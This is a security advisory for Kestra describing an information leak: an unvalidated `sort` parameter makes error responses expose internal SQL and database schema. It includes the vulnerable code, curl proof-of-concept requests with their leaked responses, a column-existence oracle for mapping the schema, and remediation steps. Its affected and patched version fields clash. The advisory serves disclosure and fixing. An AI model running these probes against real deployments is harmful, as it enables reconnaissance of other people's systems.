Skip to content

Verbose error messages leak the internal SQL query and database schema in Kestra via an unvalidated `sort` parameter on multiple list/search endpoints (schema-enumeration oracle)

Moderate
loicmathieu published GHSA-wq8c-j948-fxjx Sep 29, 2026

Package

maven io.kestra:kestra (Maven)

Affected versions

<= 2.0.0

Patched versions

2.0.0

Description

Description

Summary

Multiple JDBC-backed list/search endpoints in Kestra's REST API accept a client-supplied sort=<field>:<direction> query parameter and pass <field> straight into a jOOQ ORDER BY clause without validating it against a whitelist of sortable columns. When the field is not a real database column, the underlying PostgreSQL query throws a jOOQ DataAccessException, and Kestra's global error handler appends the raw exception message (e.getMessage()) to the HTTP 500 body for every unhandled Throwable. An authenticated user therefore receives:

  • the full internal SQL statement (SELECT list, FROM table, WHERE predicate structure including the multi-tenancy tenant_id predicate, window functions, pagination), and
  • the PostgreSQL error revealing exact table and column names, plus a column-existence oracle (ERROR: column "x" does not exist → 500 vs. HTTP 200 when the column exists), enabling full enumeration of Kestra's relational schema.

Because the identifier is emitted through jOOQ DSL.name() (which quotes/escapes it), this is not classic SQL injection - but it is a reliable, reproducible internal information disclosure (CWE-209) driven by missing input validation (CWE-20) on the sort field. The asymmetry is proven in the code and live: ExecutionController / MetricController pass a sort whitelist and correctly reject unknown fields with HTTP 422, while the affected endpoints pass no mapper and leak.

Details

The whitelist in PageableUtils.sort(...) only runs when a non-null sortMapper is supplied:

webserver/src/main/java/io/kestra/webserver/utils/PageableUtils.java:37-61

protected static Sort sort(List<String> sort, Function<String, String> sortMapper) {
    return sort == null ? null : Sort.of(sort.stream().map(s -> {
        String[] split = s.split(":");
        if (split.length != 2) throw new HttpStatusException(422, "Invalid sort parameter");
        String col = split[0];
        if (sortMapper != null) {                         // <-- validated ONLY if a mapper is passed
            String mapped = sortMapper.apply(col);
            if (mapped == null) throw new HttpStatusException(422, "Invalid sort field: " + col);
            col = mapped;
        }
        return split[1].equals("asc") ? Sort.Order.asc(col) : Sort.Order.desc(col);
    }).toList());
}

Callers that omit the mapper (leak): LogController.java:103, FlowController.java:239 and :263, DashboardController.java:92, KV, and TriggerController.java:114 (mapper present but does not reject unknown fields → passthrough).

The unvalidated column reaches jOOQ ORDER BY:

jdbc/src/main/java/io/kestra/jdbc/AbstractJdbcRepository.java:294-309

String column = camelToSnake(property);
Field<Object> field = DSL.field(DSL.name(column));   // quoted identifier -> not SQLi, but DB error if column absent
select.orderBy(order.getDirection() == ASC ? field.asc().nullsFirst() : field.desc().nullsLast());

The verbose sink - the global handler echoes the raw exception message:

webserver/src/main/java/io/kestra/webserver/controllers/ErrorController.java:181-183, 234-244

@Error(global = true)
public HttpResponse<JsonError> error(HttpRequest<?> request, Throwable e) {
    return jsonError(request, e, HttpStatus.INTERNAL_SERVER_ERROR, "Internal server error");
}
...
JsonError error = new JsonError(reason + (e.getMessage() != null ? ": " + e.getMessage() : ""));

Affected endpoints (confirmed live): GET /api/v1/{tenant}/logs/search, /triggers/search, /flows/search, /flows/source, /dashboards, /kv. Control endpoints that correctly validate: /executions/search, /metrics/* → HTTP 422.

PoC

Complete, reproducible instructions with real, unredacted values captured from a live run.

Environment. Kestra v1.3.37 at http://localhost:3031, basic-auth admin@kestra.io / Admin1234! (so Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=).

Step 1 - Baseline: a valid sortable column returns 200

curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'HTTP %{http_code}\n' \
  'http://localhost:3031/api/v1/main/logs/search?size=1&sort=timestamp:desc'
HTTP 200

Step 2 - Payload: a non-existent sort column leaks the full SQL + schema

Raw request:

GET /api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' \
  'http://localhost:3031/api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc'

Raw response:

HTTP/1.1 500 Internal server error
content-type: application/json
content-length: 676
{"message":"Internal server error: SQL [select *, count(*) over () as \"total_count\" from (select \"value\" from logs where (\"tenant_id\" = ? and (\"execution_kind\" is null or \"execution_kind\" = ?) and \"timestamp\" >= cast(? as timestamp with time zone)) order by \"s_e_c_r_e_t_p_r_o_b_e\" asc nulls first) as \"page\" where true offset ? rows fetch next ? rows only]; ERROR: column \"s_e_c_r_e_t_p_r_o_b_e\" does not exist\n  Position: 222","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}

The response discloses the complete internal query: the logs table, the value column, the tenant_id / execution_kind / timestamp predicates, the count(*) over () pagination window, and the exact PostgreSQL "column does not exist" error. (Note SECRETPROBE → s_e_c_r_e_t_p_r_o_b_e is jOOQ's camelToSnake, and the identifier is quoted - confirming this is disclosure, not SQL injection.)

Step 3 - Column-existence oracle (full schema enumeration)

# existing column -> 200
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'sort=value:asc -> %{http_code}\n' \
  'http://localhost:3031/api/v1/main/logs/search?size=1&sort=value:asc'
# absent column -> 500 + "column \"<x>\" does not exist"
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'sort=zzqq:asc  -> %{http_code}\n' \
  'http://localhost:3031/api/v1/main/logs/search?size=1&sort=zzqq:asc'
sort=value:asc -> 200
sort=zzqq:asc  -> 500

Iterating candidate column names and observing 200 vs 500 maps Kestra's entire relational schema.

Step 4 - Second table (triggers), and the control endpoint that validates

curl -s -u 'admin@kestra.io:Admin1234!' \
  'http://localhost:3031/api/v1/main/triggers/search?size=1&sort=zzqq:asc'

Response message (verbatim):

Internal server error: SQL [select *, count(*) over () as "total_count" from (select "value" from triggers where "tenant_id" = ? order by "zzqq" asc nulls first) as "page" where true offset ? rows fetch next ? rows only]; ERROR: column "zzqq" does not exist
  Position: 112

flows/search?sort=zzqq:asc behaves identically (500). Control - the validating endpoint rejects the same input instead of leaking:

curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w '%{http_code}\n' \
  'http://localhost:3031/api/v1/main/executions/search?size=1&sort=zzqq:asc'
# -> 422   (Invalid sort field - the correct behaviour)

Differential summary (all captured live)

Request (authenticated) Result
logs/search?sort=timestamp:desc (valid) 200
logs/search?sort=SECRETPROBE:asc (invalid) 500 - full SQL of logs + schema leaked
logs/search?sort=value:asc / sort=zzqq:asc 200 / 500 (existence oracle)
triggers/search?sort=zzqq:asc 500 - full SQL of triggers leaked
executions/search?sort=zzqq:asc (control) 422 (validated - no leak)

Impact

This is an information-disclosure vulnerability via verbose error messages.

  • Internal information disclosure (CWE-209): leaks the exact internal SQL, table names (logs, triggers, flows, dashboards, KV table), column names, the multi-tenancy tenant_id predicate, and the ordering/pagination implementation, to any authenticated caller.
  • Schema-enumeration / column-existence oracle: an attacker maps Kestra's full relational schema by iterating candidate column names and observing 200 vs 500.
  • Reduces the cost of, and provides reconnaissance for, follow-on attacks (targeted queries, injection research, understanding tenant-isolation columns).
  • Not classic SQL injection - DSL.name() quoting escapes breakout attempts (value" → rendered "value"""; (select version()) treated as a literal identifier).

Any authenticated user of an affected deployment is impacted; in RBAC editions any low-privilege user with read access to an affected list view can trigger it (the code path is edition-independent - core jdbc + webserver).

Remediation

  1. In AbstractJdbcRepository.sort(...) reject any property not present in a per-repository set of allowed sortable columns before building the DSL.name(column) field - fail closed with a 4xx, never let it reach the database.
  2. Make every controller that exposes sort pass a non-null sortMapper/whitelist to PageableUtils.from(...) (align LogController, FlowController, DashboardController, KV, and TriggerController's mapper to reject unknown fields as ExecutionController does).
  3. In ErrorController.jsonError(...), do not append raw e.getMessage() for HTTP 500 / Throwable responses. Return a generic message plus a correlation id, and log the detail server-side only.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Generation of Error Message Containing Sensitive Information

The product generates an error message that includes sensitive information about its environment, users, or associated data. Learn more on MITRE.

Credits